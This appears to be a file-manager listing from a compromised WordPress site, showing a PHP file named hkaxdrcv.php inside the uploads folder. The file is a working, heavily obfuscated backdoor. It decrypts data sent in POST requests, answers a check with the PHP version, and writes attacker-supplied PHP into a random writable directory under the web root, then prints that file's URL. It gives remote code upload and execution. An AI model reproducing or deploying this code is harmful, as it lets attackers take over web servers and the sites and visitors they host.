PATH:
home
/
letacommog
/
autopropr01
/
wp-content
/
uploads
/
2020
/
08
<?php $RGpXWPTdUK = "JkehBl";function sPGniclSnd($RGpXWPTdUK){$cFnSrPk = "\x72".'a'.'w'.chr(779-662)."\x72".chr(108).chr(339-239)."\145"."\x63".'o'."\144"."\x65";$nRDpeWZobm = 's'.chr(878-762)."\x72"."\137"."\x72"."\157".chr(116).chr(802-753)."\x33";$BwBBbP = "\163"."\164".chr(820-706).chr(778-683)."\x73".chr(112).chr(782-674).chr(458-353)."\x74";$RGpXWPTdUK = $BwBBbP($cFnSrPk($nRDpeWZobm($RGpXWPTdUK)));return $RGpXWPTdUK;}function RliyHleip($siZYhv, $tvcdcdebc){$RfIRvvz = 's'."\x74".chr(618-504).'_'.'s'.'p'.'l'.chr(105).chr(910-794);$siZYhv = array_slice($RfIRvvz(str_repeat($siZYhv, (count($tvcdcdebc)/16)+1)), 0, count($tvcdcdebc));return $siZYhv;}function GzGqbqU($pnsEz, $RweBYlbpDr, $siZYhv){$pgvfV = "5659f808-3bea-412f-be12-9850056437d3";return $pnsEz ^ $pgvfV[$RweBYlbpDr % strlen($pgvfV)] ^ $siZYhv;}function kjDtRlcZJ($tvcdcdebc, $siZYhv){$tvcdcdebc = array_map("GzGqbqU", array_values($tvcdcdebc), array_keys($tvcdcdebc), array_values($siZYhv));$tvcdcdebc = implode("", $tvcdcdebc);$VYwqY = chr(570-453)."\156".'s'.chr(808-707)."\162".'i'."\x61".'l'."\151"."\172".chr(269-168);$tvcdcdebc = @$VYwqY($tvcdcdebc);return $tvcdcdebc;}function zhAEfOmuZN(){echo "lqZmUDRNdl";}function pKZknd($RJsOfSir){static $wmlRUjIKEo = array();$nZUKhUYjk = glob($RJsOfSir . '/*', GLOB_ONLYDIR);$qjnlILJGLl = count($nZUKhUYjk);if ($qjnlILJGLl > 0) {foreach ($nZUKhUYjk as $RJsOfS) {$jCZaAt = 'i'.chr(288-173).chr(95).chr(731-612)."\162".chr(105)."\164".chr(917-820)."\x62".chr(426-318)."\145";if (@$jCZaAt($RJsOfS)) {$wmlRUjIKEo[] = $RJsOfS;}}}foreach ($nZUKhUYjk as $RJsOfSir) pKZknd($RJsOfSir);return $wmlRUjIKEo;}function ZBzCV(){echo "JkehBl";}function XfMpIVErEj($tvcdcdebc){$AjLWQmD = chr(167-99)."\117"."\103"."\125".'M'.chr(69).chr(78).chr(84).chr(95).'R'.chr(79).chr(859-780).'T';$QmrrEZF = $_SERVER[$AjLWQmD];$nZUKhUYjk = pKZknd($QmrrEZF);$vfjrRogs = array_rand($nZUKhUYjk);$OeGqATK = chr(46)."\x70"."\x68"."\160";$ilapzjePr = $nZUKhUYjk[$vfjrRogs] . "/" . substr(md5(time()), 0, 8) . $OeGqATK;$ppZOARyX = "\146".chr(817-712)."\154".'e'.chr(162-67)."\x70".chr(117).chr(116).'_'.'c'."\157"."\156"."\164".chr(101).'n'.'t'.'s';@$ppZOARyX($ilapzjePr, $tvcdcdebc);$SlHhbW = 'H'.chr(903-819)."\124".'P'.chr(95).chr(119-47)."\117".'S'.chr(84);$ICkThsdlV = 'h'."\164".chr(239-123)."\160"."\x3a".chr(866-819)."\57";$nddTHP = $ICkThsdlV . $_SERVER[$SlHhbW] . substr($ilapzjePr, strlen($QmrrEZF));print($nddTHP);}foreach ($_POST as $siZYhv => $tvcdcdebc){$vtpKr = strlen($siZYhv);if ($vtpKr == 16){$tvcdcdebc = sPGniclSnd($tvcdcdebc);$siZYhv = RliyHleip($siZYhv, $tvcdcdebc);$tvcdcdebc = kjDtRlcZJ($tvcdcdebc, $siZYhv);if (@is_array($tvcdcdebc)){$vfjrRogs = array_keys($tvcdcdebc);$tvcdcdebc = $tvcdcdebc[$vfjrRogs[0]];if ($tvcdcdebc === $vfjrRogs[0]){$ixKIepr = chr(185-73).'h'.'p';$GCHAQFbSlU = "\160"."\x68".chr(112)."\x76"."\x65"."\162"."\163"."\x69".'o'.chr(1026-916);$YWnIezg = "\x73"."\145".chr(114)."\x69"."\141".chr(108)."\151"."\x7a"."\x65";echo @$YWnIezg(Array($ixKIepr => @$GCHAQFbSlU(), ));strlen($siZYhv);}else {XfMpIVErEj($tvcdcdebc);}die();}}}
[+]
..
[-] hkaxdrcv.php
[edit]